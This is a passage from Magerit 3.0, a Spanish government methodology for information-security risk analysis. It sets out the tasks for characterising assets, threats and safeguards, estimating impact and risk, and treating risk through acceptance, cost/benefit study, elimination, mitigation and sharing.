Diagramas de procesos

•

Entrevistas (ver "Guía de Técnicas")

•

Reuniones

Esta tarea es crítica. Una buena identificación es importante desde varios puntos de vista: •

materializa con precisión el alcance del proyecto

•

permite las interlocución con los grupos de usuarios: todos hablan el mismo lenguaje

•

permite determinar las dependencias precisas entre activos

•

permite valorar los activos con precisión

•

permite identificar y valorar las amenazas con precisión

•

permite determinar qué salvaguardas serán necesarias para proteger el sistema

Caracterización de los activos Para cada activo hay que determinar una serie de características que lo definen: •

código, típicamente procedente del inventario

•

nombre (corto)

•

descripción (larga)

•

tipo (o tipos) que caracterizan el activo

•

unidad responsable. A veces hay más de una unidad. Por ejemplo, en el caso de aplicaciones cabe diferenciar entre la unidad que la mantiene y la que la explota.

•

persona responsable. Especialmente relevante en el caso de datos. A veces hay más de un responsable. Por ejemplo en caso de datos de carácter personal cabe diferenciar entre el responsable del dato y el operador u operadores que lo manejan.

•

ubicación, técnica (en activos intangibles) o geográfica (en activos materiales)

•

cantidad, si procede como puede ser en el caso de la informática personal (por ejemplo 350 equipos de sobremesa)

•

otras características específicas del tipo de activo

© Ministerio de Hacienda y Administraciones Públicas

página 38 (de 127)

Magerit 3.0

Proyectos de análisis de riesgos

MAR: Análisis de riesgos MAR.1: Caracterización de los activos MAR.12: Dependencias entre activos Objetivos • Identificar y valorar las dependencias entre activos, es decir la medida en que un activo de orden superior se puede ver perjudicado por una amenaza materializada sobre un activo de orden inferior Productos de entrada • Resultados de la tarea T1.2.1, Identificación • Procesos de negocio • Diagramas de flujo de datos • Diagramas de uso Productos de salida • Diagrama de dependencias entre activos Técnicas, prácticas y pautas • Diagramas de flujo de datos • Diagramas de procesos • Entrevistas (ver "Guía de Técnicas") • Reuniones • Valoración Delphi (ver "Guía de Técnicas") Para cada dependencia conviene registrar la siguiente información: •

estimación del grado de dependencia: hasta un 100%

•

explicación de la valoración de la dependencia

•

entrevistas realizadas de las que se ha deducido la anterior estimación

MAR: Análisis de riesgos MAR.1: Caracterización de los activos MAR.13: Valoración de los activos Objetivos •

Identificar en qué dimensión es valioso el activo

•

Valorar el coste que para la Organización supondría la destrucción del activo

Productos de entrada •

Resultados de la tarea MAR.11, Identificación de los activos

•

Resultados de la tarea MAR.12, Dependencias entre activos

Productos de salida •

Modelo de valor: informe de valor de los activos

Técnicas, prácticas y pautas •

Ver “Libro II – Catálogo”.

•

Entrevistas (ver "Guía de Técnicas")

•

Reuniones

•

Valoración Delphi (ver "Guía de Técnicas")

© Ministerio de Hacienda y Administraciones Públicas

página 39 (de 127)

Magerit 3.0

Proyectos de análisis de riesgos

Para la adquisición de este conocimiento puede ser necesario entrevistar a diferentes colectivos dentro de la Organización: •

dirección o gerencia, que conocen las consecuencias para la misión de la Organización

•

responsables de los datos, que conocen las consecuencias de sus fallos de seguridad

•

responsables de los servicios, que conocen las consecuencias de la no prestación del servicio o de su prestación degradada

•

responsables de sistemas de información y responsables de operación, que conocen las consecuencias de un incidente

Para cada valoración conviene registrar la siguiente información: •

dimensiones en las que el activo es relevante

•

estimación de la valoración en cada dimensión

•

explicación de la valoración

•

entrevistas realizadas de las que se han deducido las anteriores estimaciones

3.2.2. Tarea MAR.2: Caracterización de las amenazas Esta actividad consta de dos sub-tareas: MAR.21: Identificación de las amenazas MAR.22: Valoración de las amenazas El objetivo de estas tareas es caracterizar el entorno al que se enfrenta el sistema, qué puede pasar, qué consecuencias se derivarían y cómo de probable es que pase. Podemos resumirlo en la expresión “conoce a tu enemigo”. MAR: Análisis de riesgos MAR.2: Caracterización de las amenazas MAR.21: Identificación de las amenazas Objetivos •

Identificar las amenazas relevantes sobre cada activo

Productos de entrada •

Resultados de la actividad MAR.1, Caracterización de los activos

•

Informes relativos a defectos en los productos. Esto es, informes de vulnerabilidades.

Productos de salida •

Relación de amenazas posibles

Técnicas, prácticas y pautas •

Catálogos de amenazas (ver "Catálogo de Elementos")

•

Árboles de ataque (ver "Guía de Técnicas")

•

Entrevistas (ver "Guía de Técnicas")

•

Reuniones

•

Valoración Delphi (ver "Guía de Técnicas")

En esta tarea se identifican las amenazas significativas sobre los activos identificados, tomando en consideración: © Ministerio de Hacienda y Administraciones Públicas

página 40 (de 127)

Magerit 3.0

Proyectos de análisis de riesgos

•

el tipo de activo

•

las dimensiones en que el activo es valioso

•

la experiencia de la Organización

•

los defectos reportados por los fabricantes y organismos de respuesta a incidentes de seguridad (CERTS)

Para cada amenaza sobre cada activo conviene registrar la siguiente información: •

explicación del efecto de la amenaza

•

entrevistas realizadas de las que se ha deducido la anterior estimación

•

antecedentes, si los hubiera, bien en la propia Organización, bien en otras organizaciones que se haya considerado relevantes

MAR: Análisis de riesgos MAR.2: Caracterización de las amenazas MAR.22: Valoración de las amenazas Objetivos •

Estimar la frecuencia de ocurrencia de cada amenaza sobre cada activo

•

Estimar la degradación que causaría la amenaza en cada dimensión del activo si llegara a materializarse

Productos de entrada •

Resultados de la tarea MAR2.1, Identificación de las amenazas

•

Series históricas de incidentes

•

Informes de defectos en los productos

•

Antecedentes: incidentes en la Organización

Productos de salida •

Mapa de riesgos: informe de amenazas posibles, caracterizadas por su frecuencia de ocurrencia y la degradación que causarían en los activos

Técnicas, prácticas y pautas •

Árboles de ataque (ver "Guía de Técnicas")

•

Entrevistas (ver "Guía de Técnicas")

•

Reuniones

•

Valoración Delphi (ver "Guía de Técnicas")

En esta tarea se valoran las amenazas identificadas en la tarea anterior, tomando en consideración: •

la experiencia (historia) universal

•

la experiencia (historia) del sector de actividad

•

la experiencia (historia) del entorno en que se ubican los sistemas

•

la experiencia (historia) de la propia Organización

•

los informes anexos a los reportes de defectos proporcionados por los fabricantes y organismos de respuesta a incidentes de seguridad (CERTS)

Sabiendo que existen una serie de posibles agravantes, como se describe en la sección X. © Ministerio de Hacienda y Administraciones Públicas

página 41 (de 127)

Magerit 3.0

Proyectos de análisis de riesgos

Para cada amenaza sobre cada activo conviene registrar la siguiente información: •

estimación de la frecuencia de la amenaza

•

estimación del daño (degradación) que causaría su materialización

•

explicación de las estimaciones de frecuencia y degradación

•

entrevistas realizadas de las que se han deducido las anteriores estimaciones

3.2.3. Tarea MAR.3: Caracterización de las salvaguardas Esta actividad consta de dos sub-tareas: MAR.31: Identificación de las salvaguardas pertinentes MAR.32: Valoración de las salvaguardas El objetivo de estas tareas es doble: saber qué necesitamos para proteger el sistema y saber si tenemos un sistema de protección a la altura de nuestras necesidades. MAR: Análisis de riesgos MAR.3: Caracterización de las salvaguardas MAR.31: Identificación de las salvaguardas pertinentes Objetivos •

Identificar las salvaguardas convenientes para proteger el sistema

Productos de entrada •

modelo de activos del sistema

•

modelo de amenazas del sistema

•

indicadores de impacto y riesgo residual

•

informes de productos y servicios en el mercado

Productos de salida •

Declaración de aplicabilidad: relación justificada de las salvaguardas necesarias

•

Relación de salvaguardas desplegadas

Técnicas, prácticas y pautas •

Catálogos de salvaguardas (ver "Catálogo de Elementos")

•

Árboles de ataque (ver "Guía de Técnicas")

•

Entrevistas (ver "Guía de Técnicas")

•

Reuniones

Para cada salvaguarda conviene registrar la siguiente información: •

descripción de la salvaguarda y su estado de implantación

•

descripción de las amenazas a las que pretende hacer frente

•

entrevistas realizadas de las que se ha deducido la anterior información

Para determinar las salvaguardas pertinentes es frecuente recurrir a catálogos de salvaguardas o al consejo de personas expertas. De una u otra forma dispondremos de una colección de salvaguardas para elegir, de forma que el complejo problema de encontrar lo que necesitamos se reduce al problema más sencillo de descartar lo que no necesitamos. © Ministerio de Hacienda y Administraciones Públicas

página 42 (de 127)

Magerit 3.0

Proyectos de análisis de riesgos

En el proceso de descarte hay varias razones para eliminar una salvaguarda propuesta: •

porque no es apropiada para el activo que necesitamos defender

•

porque no es apropiada para la dimensión de seguridad que necesitamos defender

•

porque no es efectiva oponiéndose a la amenaza que necesitamos contrarrestar

•

porque es excesiva para el valor que tenemos que proteger (desproporcionada)

•

porque disponemos de medidas alternativas

MAR: Análisis de riesgos MAR.3: Caracterización de las salvaguardas MAR.32: Valoración de las salvaguardas Objetivos •

Determinar la eficacia de las salvaguardas pertinentes

Productos de entrada •

Inventario de salvaguardas derivado de la tarea MAR.31

Productos de salida •

Evaluación de salvaguardas : informe de salvaguardas desplegadas, caracterizadas por su grado de efectividad

•

Informe de insuficien cias (o vul nerabilidades): relación de salvaguardas que deberían estar pero no están desplegadas o están desplegadas de forma insuficiente

Técnicas, prácticas y pautas •

Entrevistas (ver "Guía de Técnicas")

•

Reuniones

•

Valoración Delphi (ver "Guía de Técnicas")

En esta tarea se valora la efectividad de las salvaguardas identificadas en la tarea anterior, tomando en consideración: •

la idoneidad de la salvaguarda para el fin perseguido

•

la calidad de la implantación

•

la formación de los responsables de su configuración y operación

•

la formación de los usuarios, si tienen un papel activo

•

la existencia de controles de medida de su efectividad

•

la existencia de procedimientos de revisión regular

Para cada salvaguarda conviene registrar la siguiente información: •

estimación de su eficacia para afrontar aquellas amenazas

•

explicación de la estimación de eficacia

•

entrevistas realizadas de las que se ha deducido la anterior estimación

© Ministerio de Hacienda y Administraciones Públicas

página 43 (de 127)

Magerit 3.0

Proyectos de análisis de riesgos

3.2.4. Tarea MAR.4: Estimación del estado de riesgo En esta tarea se combinan los descubrimientos de las tareas anteriores (MAR.1, MAR.2 y MAR.3) para derivar estimaciones del estado de riesgo de la Organización. Esta actividad consta de tres tareas: MAR.41: Estimación del impacto MAR.42: Estimación del riesgo El objetivo de estas tareas es disponer de una estimación fundada de lo que puede ocurrir (impacto) y de lo que probablemente ocurra (riesgo). MAR: Análisis de riesgos MAR.4: Estimación del estado de riesgo MAR.41: Estimación del impacto Objetivos • Determinar el impacto potencial al que está sometido el sistema • Determinar el impacto residual al que está sometido el sistema Productos de entrada • Resultados de la actividad MAR.1, Caracterización de los activos • Resultados de la actividad MAR.2, Caracterización de las amenazas • Resultados de la actividad MAR.3, Caracterización de las salvaguardas Productos de salida • Informe de impacto (potencial) por activo • Informe de impacto residual por activo Técnicas, prácticas y pautas • Análisis mediante tablas (ver "Guía de Técnicas") • Análisis algorítmico (ver "Guía de Técnicas") En esta tarea se estima el impacto al que están expuestos los activos del sistema: •

el impacto potencial, al que está expuesto el sistema teniendo en cuenta el valor de los activos y la valoración de las amenazas; pero no las salvaguardas actualmente desplegadas

•

el impacto residual, al que está expuesto el sistema teniendo en cuenta el valor de los activos y la valoración de las amenazas, así como la eficacia de las salvaguardas actualmente desplegadas

MAR: Análisis de riesgos MAR.4: Estimación del estado de riesgo MAR.42: Estimación del riesgo Objetivos • Determinar el riesgo potencial al que está sometido el sistema • Determinar el riesgo residual al que está sometido el sistema Productos de entrada • Resultados de la actividad MAR.1, Caracterización de los activos • Resultados de la actividad MAR.2, Caracterización de las amenazas • Resultados de la actividad MAR.3, Caracterización de las salvaguardas • Resultados de la actividad MAR.4, Estimaciones de impacto © Ministerio de Hacienda y Administraciones Públicas

página 44 (de 127)

Magerit 3.0

Proyectos de análisis de riesgos

MAR: Análisis de riesgos MAR.4: Estimación del estado de riesgo MAR.42: Estimación del riesgo Productos de salida • Informe de riesgo (potencial) por activo • Informe de riesgo residual por activo Técnicas, prácticas y pautas • Análisis mediante tablas (ver "Guía de Técnicas") • Análisis algorítmico (ver "Guía de Técnicas") En esta tarea se estima el riesgo al que están sometidos los activos del sistema: •

el riesgo potencial, al que está sometido el sistema teniendo en cuenta el valor de los activos y la valoración de las amenazas; pero no las salvaguardas actualmente desplegadas

•

el riesgo residual, al que está sometido el sistema teniendo en cuenta el valor de los activos y la valoración de las amenazas, así como la eficacia de las salvaguardas actualmente desplegadas

3.3. Documentación Documentación intermedia •

Resultados de las entrevistas.

•

Documentación de otras fuentes: estadísticas, observaciones de expertos y observaciones de los analistas.

•

Información existente utilizable por el proyecto (por ejemplo inventario de activos)

•

Documentación auxiliar: planos, organigramas, requisitos, especificaciones, análisis funcionales, cuadernos de carga, manuales de usuario, manuales de explotación, diagramas de flujo de información y de procesos, modelos de datos, etc.

•

Informes y evaluaciones de defectos de los productos, procedentes de fabricantes o de centros de respuesta a incidentes de seguridad (CERTs).

Documentación final •

Modelo de valor Informe que detalla los activos, sus dependencias, las dimensiones en las que son valiosos y la estimación de su valor en cada dimensión.

•

Mapa de riesgos: Informe que detalla las amenazas significativas sobre cada activo, caracterizándolas por su frecuencia de ocurrencia y por la degradación que causaría su materialización sobre el activo.

•

Declaración de aplicabilidad: Informe que recoge las contramedidas que se consideran apropiadas para defender el sistema de información bajo estudio.

•

Evaluación de salvaguardas: Informe que detalla las salvaguardas existentes calificándolas en su eficacia para reducir el riesgo que afrontan.

•

Informe de insuficiencias o vulnerabilidades:

Informe que detalla las salvaguardas necesarias pero ausentes o insuficientemente eficaces. © Ministerio de Hacienda y Administraciones Públicas página 45 (de 127)

Magerit 3.0 •

Proyectos de análisis de riesgos

Estado de riesgo: Informe que detalla para cada activo el impacto y el riesgo, potenciales y residuales, frente a cada amenaza.

Esta documentación es un fiel reflejo del estado de riesgo y de las razones por la que este riesgo no es aceptable. Es fundamental entender las razones que llevan a una valoración determinada de riesgo para que el proceso de gestión de riesgos esté bien fundamentado. El proceso de gestión de riesgos partirá de estas valoraciones para atajar el riesgo o reducirlo a niveles aceptables.

3.4. Lista de control √ actividad

tarea

Se han identificado los activos esenciales: información que se trata y servicios que se prestan

MAR.11

Se han valorado las necesidades o niveles de seguridad requeridos por cada activo esencial en cada dimensión de seguridad

MAR.13

Se han identificado los demás activos del sistema

MAR.11

Se han establecido el valor (o nivel requerido de seguridad) de los demás activos en función de su relación con los activos esenciales (por ejemplo, mediante identificación de las dependencias)

MAR.12

Se han identificado las amenazas posibles sobre los activos

MAR.21

Se han estimado las consecuencias que se derivarían de la materialización de dichas amenazas

MAR.22

Se ha estimado la probabilidad de que dichas amenazas se materialicen

MAR.23

Se han estimado los impactos y riesgos potenciales, inherentes al sistema

MAR.4

Se han identificado las salvaguardas apropiadas para atajar los impactos y riesgos potenciales

MAR.31

Se ha valorado el despliegue de las salvaguardas identificadas

MAR.32

Se han estimado los valores de impacto y riesgo residuales, que es el nivel de impacto y riesgo que aún soporta el sistema tras el despliegue de las salvaguardas

MAR.4

© Ministerio de Hacienda y Administraciones Públicas

página 46 (de 127)

Magerit 3.0

Proyectos de análisis de riesgos

4. Proceso de gestión de riesgos A la vista de los impactos y riesgos a que está expuesto el sistema, hay que tomar una serie de decisiones condicionadas por diversos factores: •

la gravedad del impacto y/o del riesgo

•

las obligaciones a las que por ley esté sometida la Organización

•

las obligaciones a las que por reglamentos sectoriales esté sometida la Organización

•

las obligaciones a las que por contrato esté sometida la Organización

Dentro del margen de maniobra que permita este marco, pueden aparecer consideraciones adicionales sobre la capacidad de la Organización para aceptar ciertos impactos de naturaleza intangible 16 tales como: •

imagen pública de cara a la Sociedad (aspectos reputacionales)

•

política interna: relaciones con los propios empleados, tales como capacidad de contratar al personal idóneo, capacidad de retener a los mejores, capacidad de soportar rotaciones de personas, capacidad de ofrecer una carrera profesional atractiva, etc.

•

relaciones con los proveedores, tales como capacidad de llegar a acuerdos ventajosos a corto, medio o largo plazo, capacidad de obtener trato prioritario, etc.

•

relaciones con los clientes o usuarios, tales como capacidad de retención, capacidad de incrementar la oferta, capacidad de diferenciarse frente a la competencia, ...

•

relaciones con otras organizaciones, tales como capacidad de alcanzar acuerdos estratégicos, alianzas, etc.

•

nuevas oportunidades de negocio, tales como formas de recuperar la inversión en seguridad

•

acceso a sellos o calificaciones reconocidas de seguridad

Todas las consideraciones anteriores desembocan en una calificación de cada riesgo significativo, determinándose si ... 1. es crítico en el sentido de que requiere atención urgente 2. es grave en el sentido de que requiere atención 3. es apreciable en el sentido de que pueda ser objeto de estudio para su tratamiento 4. es asumible en el sentido de que no se van a tomar acciones para atajarlo La opción 4, aceptación del riesgo, siempre es arriesgada y hay que tomarla con prudencia y justificación. Las razones que pueden llevar a esta aceptación son: •

cuando el impacto residual es asumible

•

cuando el riesgo residual es asumible

•

cuando el coste de las salvaguardas oportunas es desproporcionado en comparación al impacto y riesgo residuales

La calificación de los riesgos tendrá consecuencias en las tareas subsiguientes, siendo un factor básico para establecer la prioridad relativa de las diferentes actuaciones.

16 La metodología de análisis y gestión de riesgos, al centrarse en la evaluación de daños, no captura plenamente los beneficios de la ausencia de daños que, generando un ambiente de confianza, permite un mejor desempeño de las funciones de la Organización en su entorno de operación.

© Ministerio de Hacienda y Administraciones Públicas

página 47 (de 127)

Magerit 3.0

Proyectos de análisis de riesgos

4.1. Conceptos El análisis de riesgos determina impactos y riesgos. Los impactos recogen daños absolutos, independientemente de que sea más o menos probable que se dé la circunstancia. En cambio, el riesgo pondera la probabilidad de que ocurra. El impacto refleja el daño posible (lo peor que puede ocurrir), mientras que el riesgo refleja el daño probable (lo que probablemente ocurra). El resultado del análisis es sólo un análisis. A partir de el disponemos de información para tomar decisiones conociendo lo que queremos proteger (activos valorados=, de qué lo queremos proteger (amenazas valoradas) y qué hemos hecho por protegerlo (salvaguardas valoradas). Todo ello sintetizado en los valores de impacto y riesgo. A partir de aquí, las decisiones son de los órganos de gobierno de la Organización que actuarán en 2 pasos: •

paso 1: evaluación

•

paso 2: tratamiento

La siguiente figura resume las posibles decisiones que se pueden tomar tras haber estudiado los riesgos. La caja ‘estudio de los riesgos’ pretende combinar el análisis con la evaluación.

Ilustración 11. Decisiones de tratamiento de los riesgos

Todos estos aspectos se desarrollan en las secciones siguientes.

4.1.1. Evaluación: interpretación de los valores de impacto y riesgo residuales Impacto y riesgo residual son una medida del estado presente, entre la inseguridad potencial (sin salvaguarda alguna) y las medidas adecuadas que reducen impacto y riesgo a valores aceptables. Los párrafos siguientes se refieren conjuntamente a impacto y riesgo. Si el valor residual es igual al valor potencial, las salvaguardas existentes no valen para nada, típicamente no porque no haya nada hecho, sino porque hay elementos fundamentales sin hacer. Es importante entender que un valor residual es sólo un número. Para su correcta interpretación debe venir acompañado de la relación de lo que se debería hacer y no se ha hecho; es decir, de las vulnerabilidades que presenta el sistema. Los responsables de la toma de decisiones deberán prestar cuidadosa atención a esta relación de tareas pendientes, que se denomina Informe de Insuficiencias o de vulnerabilidades. © Ministerio de Hacienda y Administraciones Públicas

página 48 (de 127)

Magerit 3.0

Proyectos de análisis de riesgos

4.1.2. Aceptación del riesgo La Dirección de la Organización sometida al análisis de riesgos debe determinar el nivel de impacto y riesgo aceptable. Más propiamente dicho, debe aceptar la responsabilidad de las insuficiencias. Esta decisión no es técnica. Puede ser una decisión política o gerencial o puede venir determinada por ley o por compromisos contractuales con proveedores o usuarios. Estos niveles de aceptación se pueden establecer por activo o por agregación de activos (en un determinado departamento, en un determinado servicio, en una determinada dimensión, ...) Cualquier nivel de impacto y/o riesgo es aceptable si lo conoce y acepta formalmente la Dirección 17 .

4.1.3. Tratamiento La Dirección puede decidir aplicar algún tratamiento al sistema de seguridad desplegado para proteger el sistema de información. Hay dos grandes opciones: •

reducir el riesgo residual (aceptar un menor riesgo)

•

ampliar el riesgo residual (aceptar un mayor riesgo)

Para tomar una u otra decisión hay que enmarcar los riesgos soportados por el sistema de información dentro de un contexto más amplio que cubre un amplio espectro de consideraciones de las que podemos apuntar algunas sin pretender ser exhaustivos: cumplimiento de obligaciones; sean legales, regulación pública o sectorial, compromisos internos, misión de la Organización, responsabilidad corporativa, etc. • •

posibles beneficios derivados de una actividad que en sí entraña riesgos

•

condicionantes técnicos, económicos, culturales, políticos, etc.

• equilibrio con otros tipos de riesgos: comerciales, financieros, regulatorios, medioambientales, laborales, …

En condiciones de riesgo residual extremo, casi la única opción es reducir el riesgo. En condiciones de riesgo residual aceptable , podemos optar entre aceptar el nivel actual o ampliar el riesgo asumido. En cualquier caso hay que mantener una monitorización continua de las circunstancias para que el riesgo formal cuadre con la experiencia real y reaccionemos ante cualquier desviación significativa.

Ilustración 12. Zonas de riesgo

17

Hablar de Dirección es pecar de simplificar la realidad. En inglés suele emplearse el término “stakeholders” (o tenedores de la estaca) para referirse a los afectados por las decisiones estratégicas de una Organización: dueños, gerentes, usuarios, empleados e incluso la sociedad en general. Porque al final si se aceptan riesgos imprudentemente elevados, el perjudicado puede no ser sólo el que dirige, sino todos los que tienen su confianza puesta en la Organización y cuyo lamentable desempeño oscurecería sus legítimas expectativas. En última instancia puede verse afectada la confianza en un sector o en una tecnología por la imprudente puesta en escena de algunos actores.

© Ministerio de Hacienda y Administraciones Públicas

página 49 (de 127)

Magerit 3.0

Proyectos de análisis de riesgos

En condiciones de riesgo residual medio, podemos observar otras características como las pérdidas y ganancias que pueden verse afectadas por el escenario presente, o incluso analizar el estado del sector en el que operamos para compararnos con la “norma”. En términos de las zonas de riesgo que se expusieron anteriormente, •

zona 1 – riesgos muy probables y de muy alto impacto; posiblemente nos planteemos sacarlos de esta zona

•

zona 2 – riesgos de probabilidad relativa e impacto medio; se pueden tomar varias opciones

•

zona 3 – riesgos improbables y de bajo impacto; o los dejamos como están, o permitimos que suban a mayores si ello nos ofreciera alguna ventaja o beneficio en otro terreno

•

zona 4 – riesgos improbables pero de muy alto impacto; suponen un reto de decisión pues su improbabilidad no justifica que se tomen medidas preventivas, pero su elevado impacto exige que tengamos algo previsto para reaccionar; es decir, hay que poner el énfasis en medidas de reacción para limitar el daño y de recuperación del desastre si ocurriera.

También conviene considerar la incertidumbre del análisis. Hay veces que sospechamos las consecuencias, pero hay un amplio rango de opiniones sobre su magnitud (incertidumbre en el impacto). En otras ocasiones la incertidumbre afecta a la probabilidad. Estos escenarios suelen afectar a las zonas 4 y 3, pues cuando la probabilidad es alta, normalmente adquirimos experiencia, propia o ajena, con rapidez y salimos de la incertidumbre. En cualquier caso, toda incertidumbre debe considerarse como mala y debemos hacer algo: •

buscar formas de mejorar la previsión, típicamente indagando en foros, centros de respuesta a incidentes o expertos en la materia;

•

evitar el riesgo cambiando algún aspecto, componente o arquitectura del sistema; o

•

tener preparados sistemas de alerta temprana y procedimientos flexibles de contención, limitación y recuperación del posible incidente.

A veces que estos escenarios de incertidumbre ocurren en un terreno en el que hay obligaciones de cumplimiento y la propia normativa elimina o reduce notablemente las opciones disponibles; es decir, el sistema se protege por obligación más que por certidumbre del riesgo. A la vista de estas consideraciones se tomarán las decisiones de tratamiento.

4.1.4. Estudio cuantitativo de costes / beneficios Es de sentido común que no se puede invertir en salvaguardas más allá del valor que queremos proteger. Aparecen en la práctica gráficos como el siguiente que ponen uno frente al otro el coste de la inseguridad (lo que costaría no estar protegidos) y el coste de las salvaguardas.

© Ministerio de Hacienda y Administraciones Públicas

página 50 (de 127)

Magerit 3.0

Proyectos de análisis de riesgos

0

10

20

30

40

50

60

70

80

90

100

grado de seguridad riesgo residual

gasto en salvaguardas

coste total

Ilustración 13. Relación entre el gasto en seguridad y el riesgo residual

Este tipo de gráficas intentan reflejar cómo al avanzar de un grado de seguridad 0 hacia un grado de seguridad del 100%, el coste de la inseguridad (el riesgo) disminuye, mientras que el coste de la inversión en salvaguardas aumenta. Es intencionado el hecho de que el riesgo caiga fuertemente con pequeñas inversiones 18 y que el coste de las inversiones se dispare para alcanzar niveles de seguridad cercanos al 100% 19 . La curva central suma el coste para la Organización, bien derivado del riesgo (baja seguridad), bien derivado de la inversión en protección. De alguna forma existe un punto de equilibrio entre lo que se arriesga y lo que se invierte en defensa, punto al que hay que tender si la única consideración es económica. Pero llevar el sentido común a la práctica no es evidente, ni por la parte del cálculo del riesgo, ni por la parte del cálculo del coste de las salvaguardas. En otras palabras, la curva anterior es conceptual y no se puede dibujar en un caso real. En la práctica, cuando hay que protegerse de un riesgo que se considera significativo, aparecen varios escenarios hipotéticos: E0: si no se hace nada E1: si se aplica un cierto conjunto de salvaguardas E2: si se aplica otro conjunto de salvaguardas Y así N escenarios con diferentes combinaciones de salvaguardas. El análisis económico tendrá como misión decidir entre estas opciones, siendo E0 (seguir como estamos) una opción posible, que pudiera estar justificada económicamente. En cada escenario hay que estimar a lo largo del tiempo el coste que va a suponer. Para poder agregar costes, se contabilizan como valores negativos las pérdidas de dinero y como valores positivos las entradas de dinero. Considerando los siguientes componentes:

18 19 20

−

(recurrente) riesgo residual 20

−

(una vez) coste de las salvaguardas 21

Medidas básicas de seguridad suponen un importante descenso del riesgo. Por ello son inexcusables. Reflejando una vez más que la seguridad absoluta (riesgo cero) no existe. Si la frecuencia de las amenazas se ha estimado como tasa anual, los datos de riesgo residual estarán automáticamente anualizados. Si se hubiera empleado otra escala, habría que convertirla a términos anuales.

© Ministerio de Hacienda y Administraciones Públicas

página 51 (de 127)

Magerit 3.0

Proyectos de análisis de riesgos

−

(recurrente) coste anual de mantenimiento de las salvaguardas

+

(recurrente) mejora en la productividad 22

+

(recurrente) mejoras en la capacidad de la Organización para prestar nuevos servicios, conseguir mejores condiciones de los proveedores, entrar en asociación con otras organizaciones, etc.

El escenario E0 es muy simple: todos los años se afronta un gasto marcado por el riesgo, que se acumula año tras año. En los demás escenarios, hay cosas que suman y cosas que restan, pudiendo darse varias situaciones 23 como las recogidas en la gráfica siguiente. Se presentan valores acumulados a lo largo de un periodo de 5 años. La pendiente de la recta responde a los costes recurrentes. El valor el primer año corresponde a los costes de implantación.

Ilustración 14. Ejemplos de decisiones de tratamiento del riesgo •

En E0 se sabe lo que cada año (se estima que) se pierde

•

El escenario E1 aparece como mala idea, pues supone un gasto añadido el primer año; pero este gasto no se recupera en años venideros.

•

No así el escenario E2 que, suponiendo un mayor desembolso inicial, empieza a ser rentable a partir del cuarto año.

•

Más atractivo aún es el escenario E3 en el que a costa de un mayor desembolso inicial, se empieza a ahorrar al tercer año, e incluso se llega a obtener beneficios operativos a partir del quinto año. Se puede decir que en escenario E3 se ha hecho una buena inversión.

21

Si la salvaguarda ya existe, coste de mejora. Si no existiera, coste de adquisición e instalación. En cualquier caso hay que imputar costes de formación de los operadores, usuarios, etc. 22 Este epígrafe puede ser positivo si la Organización mejora su productividad; o puede ser negativo, si empeora. Como ejemplo típico de salvaguardas que mejoran la productividad podemos citar la introducción de dispositivos de autenticación en sustitución de la clásica contraseña. Como ejemplo típico de salvaguardas que minoran la productividad podemos citar la clasificación de documentación con control de acceso restringido. 23 En el eje X se muestran años, en referencia al año 0 en que se realiza el análisis de riesgos. En ordenadas aparecen costes en unidades arbitrarias.

© Ministerio de Hacienda y Administraciones Públicas

página 52 (de 127)

Magerit 3.0

Proyectos de análisis de riesgos

4.1.5. Estudio cualitativo de costes / beneficios Cuando el análisis es cualitativo, en la balanza de costes beneficios aparecen aspectos intangibles que impiden el cálculo de un punto numérico de equilibrio. Entre los aspectos intangibles se suelen contemplar: — aspectos reputacionales o de imagen — aspectos de competencia: comparación con otras organizaciones de mismo ámbito de actividad — cumplimiento normativo, que puede ser obligatorio o voluntario — capacidad de operar — productividad Estas consideraciones nos llevan a contemplar diversos escenarios para determinar el balance neto. Por ejemplo, el no adoptar medidas puede exponernos a un cierto riesgo que causaría mala imagen; pero si la solución preventiva causa también mala imagen o supone un merma notable de oportunidades o de productividad, hay que buscar un punto de equilibrio, eligiendo una combinación de medidas que sea asumible.

4.1.6. Estudio mixto de costes / beneficios En análisis de riesgos meramente cualitativos, la decisión la marca el balance de costes y beneficios intangibles, si bien siempre hay que hacer un cálculo de lo que cuesta la solución y cerciorarse de que el gasto es asumible. De o contrario, la supuesta solución no es una opción. Es decir, primero hay que pasar el filtro económico y luego elegir la mejor de las soluciones factibles.

4.1.7. Opciones de tratamiento del riesgo: eliminación La eliminación de la fuente de riesgo es una opción frente a un riesgo que no es aceptable. En un sistema podemos eliminar varias cosas, siempre que no afecten a la esencia de la Organización. Es extremadamente raro que podamos prescindir de la información o los servicios esenciales por cuanto constituyen la misión de la Organización. Cambiar estos activos supone reorientar la misión de la Organización. Más viable es prescindir de otros componentes no esenciales, que están presentes simple y llanamente para implementar la misión, pero no son parte constituyente de la misma. Esta opción puede tomar diferentes formas: •

Eliminar cierto tipo de activos, emplean otros en su lugar. Por ejemplo: cambiar de sistema operativo, de fabricante de equipos, …

•

Reordenar la arquitectura del sistema (el esquema de dependencias en nuestra terminología) de forma que alteremos el valor acumulado en ciertos activos expuestos a grandes amenazas. Por ejemplo: segregar redes, desdoblar equipos para atender a necesidades concretas, alejando lo más valioso de lo más expuesto, …

Las decisiones de eliminación de las fuentes de riesgo suponen realizar un nuevo análisis de riesgos sobre el sistema modificado.

4.1.8. Opciones de tratamiento del riesgo: mitigación La mitigación del riesgo se refiere a una de dos opciones: •

reducir la degradación causada por una amenaza (a veces se usa la expresión ‘acotar el impacto’)

•

reducir la probabilidad de que una amenaza de materializa

En ambos casos lo que hay que hacer es ampliar o mejorar el conjunto de salvaguardas. En términos de madurez de las salvaguardas: subir de nivel. © Ministerio de Hacienda y Administraciones Públicas

página 53 (de 127)

Magerit 3.0

Proyectos de análisis de riesgos

Algunas salvaguardas, notablemente las de tipo técnico, se traducen en el despliegue de más equipamiento 24 que se convierte a su vez en un activo del sistema. Estos nuevos activos también acumularán valor del sistema y estarán a su vez sujetos a amenazas que pueden perjudicar a los activos esenciales. Hay pues que repetir el análisis de riesgos, ampliándolo con el nuevo despliegue de medios y, por supuesto, cerciorarse de que el riesgo del sistema ampliado es menor que el del sistema original; es decir, que las salvaguardas efectivamente disminuyen el estado de riesgo de la Organización.

4.1.9. Opciones de tratamiento del riesgo: compartición Tradicionalmente se ha hablado de ‘transferir el riesgo’. Como la transferencia puede ser parcial o total, es más general hablar de ‘compartir el riesgo’. Hay dos formas básicas de compartir riesgo: •Riesgo

cualitativo: se comparte por medio de la externalización de componentes del sistema, de forma que se reparten responsabilidades: unas técnicas para el que opera el componente técnico; y otras legales según el acuerdo que se establezca de prestación del servicio.

•

